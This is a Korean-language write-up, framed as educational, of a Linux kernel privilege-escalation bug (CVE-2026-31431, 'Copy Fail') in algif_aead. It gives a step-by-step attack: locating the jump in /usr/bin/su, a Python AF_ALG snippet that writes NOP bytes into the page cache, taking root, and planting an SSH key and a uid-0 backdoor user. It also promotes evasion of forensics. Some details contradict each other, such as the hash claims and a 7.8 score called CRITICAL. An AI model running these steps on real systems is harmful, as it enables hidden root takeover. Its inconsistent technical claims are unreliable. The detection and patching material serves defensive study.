
Linux 커널의 Copy Fail 취약점(CVE-2026-31431)에 대한 상세 분석으로, 메모리 손상 메커니즘, 권한 상승 흐름, 보안 영향 등을 포함합니다.
Linux 커널의 Copy Fail 취약점에 대한 교육적 분석.
메모리 손상 메커니즘, 권한 상승 흐름, 컨테이너 탈출, 방어 대책을 다룹니다.
이 저장소는 교육 및 연구 목적으로만 제공됩니다.
소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에서 이 정보를 사용하지 마십시오.
모든 코드 스니펫과 명령어는 Linux 커널 내부 구조에 대한 이해를 돕기 위해서만 제공됩니다.
CVE-2026-31431은 Copy Fail이라고도 알려진 Linux 커널 취약점으로, 권한이 없는 로컬 사용자가 특별한 권한 없이 root로 권한을 상승할 수 있습니다.
이 공격은 전적으로 RAM에서 작동합니다. 디스크 파일은 절대 건드리지 않습니다. 즉, 파일 해시는 그대로 유지되고, 타임스탬프는 변경되지 않으며, 감사 로그에는 아무것도 기록되지 않습니다. 시스템이 재부팅되면 모든 증거가 사라집니다.
일반 사용자 → algif_aead 버그 악용 → 페이지 캐시 덮어쓰기 → root
주요 특징:
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-31431 |
| 일반 명칭 | Copy Fail / algif_aead 페이지 캐시 손상 |
| CVSS v3.1 점수 | 7.8 — CRITICAL |
| 공격 유형 | 로컬 권한 상승 (LPE) |
| 영향받는 커널 버전 | Linux 5.10 ~ 6.8 (대략) |
| 취약 구성 요소 | crypto/algif_aead.c — AF_ALG 소켓 인터페이스 |
| 악용 신뢰성 | 높음 — 경쟁 조건 불필요 |
| 디스크 증거 | 없음 — RAM 전용 수정 |
| 컨테이너 영향 | 있음 — 공유 페이지 캐시를 통한 호스트 탈출 |
| 패치 상태 | 제공됨 (업스트림 커널 패치 배포됨) |
/usr/bin/su — 공격 대상 바이너리su(Switch User)는 사용자가 다른 계정 — 일반적으로 root — 으로 전환할 수 있게 해줍니다. 이는 SetUID 바이너리입니다:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID 플래그
s 플래그의 의미: 어떤 사용자가 이 바이너리를 실행하든 root의 권한으로 실행됩니다. 이는 고가치 공격 대상이 됩니다.
내부 로직(단순화):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
공격 목표: password_correct() 검사를 완전히 건너뛰는 것.
Linux가 디스크에서 파일을 읽으면 RAM에 페이지 캐시라는 복사본을 보관합니다.
| 구성 요소 | 설명 |
|---|---|
| 디스크 | 디스크의 원본 파일 (책장) |
| 페이지 캐시 | 파일의 RAM 복사본 (책상 위의 복사본) |
| CPU | 페이지 캐시에서 읽고 실행 — 빠름 |
| 공격자 | RAM 복사본을 수정; 디스크는 그대로 유지 |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← 이것이 페이지 캐시
| 유형 | 보안 |
|---|---|
| 안전 버퍼 — 커널 할당, 크기 및 경계 제어됨 | ✅ OK |
| 페이지 캐시 — 파일 기반 RAM 복사본, 공유, 실행 가능 | ⚠️ 쓰기 시 위험 |
| 잘못된 포인터 — 버그로 인해 아무 곳이나 가리키는 주소 | 🔴 CRITICAL |
AF_ALG(Algorithm Family)은 사용자 공간 프로그램이 커널 암호화 기능(AES, SHA, AEAD)을 사용할 수 있게 해주는 Linux 소켓 인터페이스입니다.
socket(AF_ALG, SOCK_SEQPACKET, 0); // 암호화 소켓 열기
algif_aead는 AF_ALG를 통해 AEAD 암호화(예: AES-GCM)를 처리하는 커널 모듈입니다. 취약점은 데이터 복사 단계에 있습니다.
AF_ALG → algif_aead → AES-GCM 엔진 → 출력 버퍼
↑
버그 위치
이 버그는 암호화 로직에 있지 않습니다. 데이터 복사 중 잘못된 메모리 영역이 선택되는 메모리 처리에 있습니다.
destination = safe_output_buffer; // 올바른 위치
memcpy(destination, user_data, size); // 데이터가 안전하게 기록됨
destination = buffer + WRONG_OFFSET; // BUG: 잘못된 포인터!
memcpy(destination, user_data, size); // 데이터가 페이지 캐시에 기록됨
커널은 안전한 출력 버퍼에 기록해야 했습니다. 잘못 계산된 오프셋으로 인해 /usr/bin/su의 RAM 복사본을 보관하는 페이지 캐시에 기록됩니다.
이 바이너리에는 x86-64 기계어 코드가 포함되어 있습니다. 공격자는 인증 실패를 유발하는 조건부 점프를 대상으로 합니다.
공격 전:
cmp eax, 0 ; 반환 값 확인
jne 0x1234 ; 실패 시 → 거부로 점프
call give_root ; root 부여
공격 후 (RAM에서 2바이트 변경):
cmp eax, 0 ; 동일
90 90 ; NOP NOP ← 점프가 대체됨, 검사 건너뜀!
call give_root ; CPU가 여기로 직접 도달
NOP = No Operation. CPU는 아무것도 하지 않고 다음으로 진행합니다 — 인증 검사를 완전히 건너뜁니다.
"일반 사용자 계정만 있으면 됩니다. 커널이 스스로 실수를 할 것입니다.
디스크는 깨끗하게 유지됩니다. 로그 없음. 매번 작동합니다."
whoami && id
# uid=1000(user) gid=1000(user) ← 일반 사용자
uname -r
# 6.1.0-generic ← 취약 범위 내
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID 확인됨
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su가 이제 페이지 캐시에 로드됨 ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
찾는 것: 인증 함수 주소, jne/jnz 조건부 점프, 정확한 바이트 오프셋.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — 조건부 점프를 대체
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# 커널 내부 (단순화):
destination = buffer + crafted_offset # BUG: 잘못된 포인터
memcpy(destination, payload, 2) # NOP 바이트가 페이지 캐시에 기록됨
# /usr/bin/su의 비밀번호 검사가 이제 RAM에서 NOP NOP가 됨
su
# Password: (아무거나 — 또는 Enter만 누름)
# root@victim:/# ← ROOT 획득
무슨 일이 일어났는가: 시스템이 RAM에서 /usr/bin/su를 실행했습니다. 비밀번호 검사가 NOP였습니다. CPU가 건너뛰었습니다. give_root()가 직접 호출되었습니다.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
| CVE | 경쟁 조건? | 디스크 안전? | 신뢰성 |
|---|---|---|---|
| CVE-2016-5195 DirtyCow | 예 — 타이밍 필요 | 아니요 — 디스크 수정됨 | 중간 |
| CVE-2022-0847 DirtyPipe | 최소 | 예 — RAM 전용 | 높음 |
| CVE-2026-31431 Copy Fail | 아니요 — 직접 쓰기 | 예 — RAM 전용 | 매우 높음 |
공격 후 포렌식 조사관이 발견하는 것:
sha256sum /usr/bin/su # 이전과 동일한 해시 ← 디스크 무접촉
diff /usr/bin/su backup/su # 차이 없음
grep -r 'attack' /var/log/ # 아무것도 없음
auditd 로그 # 파일 쓰기 기록 없음
재부팅 시 RAM이 플러시됩니다 — 모든 증거가 사라집니다.
| 탐지 방법 | 작동 여부 |
|---|---|
| sha256sum / 파일 해시 | ❌ 디스크가 동일함 |
| 파일 수정 타임스탬프 | ❌ 디스크 무접촉 |
| auditd 파일 쓰기 로그 | ❌ 디스크 쓰기 발생 안 함 |
프로세스 메모리 검사 (/proc) | ✅ 실시간 모니터링 시에만 |
| eBPF 커널 모니터링 | ✅ 시스템 콜 수준 탐지 |
| 메모리 포렌식 (LiME) | ✅ 그러나 복잡함 |
컨테이너는 사용자 공간을 격리합니다 — 하지만 커널은 공유되며, 페이지 캐시는 커널 메모리입니다.
호스트 커널
├── 컨테이너 1 (격리된 사용자 공간)
│ └── 공격자가 여기 있음
├── 컨테이너 2
└── 호스트 프로세스
페이지 캐시: 모든 컨테이너와 호스트 간 공유!
탈출 경로: 컨테이너 1의 공격자가 호스트의 /usr/bin/su를 읽음 → 버그 트리거 → 호스트 바이너리가 RAM에서 수정됨 → 호스트에서 su 실행 시 호스트 머신에서 root 획득.
영향: Docker, Podman, LXC, Kubernetes(공유 노드) — 호스트 커널이 취약한 경우.
이는 관찰 연습일 뿐입니다. 테스트에는 실습 환경(Docker + 구형 커널 VM)을 사용하십시오.
free -h # 이전 Cache 값 확인
cat /usr/bin/su > /dev/null # 파일을 페이지 캐시에 로드
free -h # Cache가 약간 증가
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# 일반적으로 디스크와 동일 — 성공적인 공격 후에는 다름
# /proc/PID/mem 비교에는 root 권한 필요
우선순위 1 — 커널 업데이트 (최선의 해결책)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
우선순위 2 — algif_aead 비활성화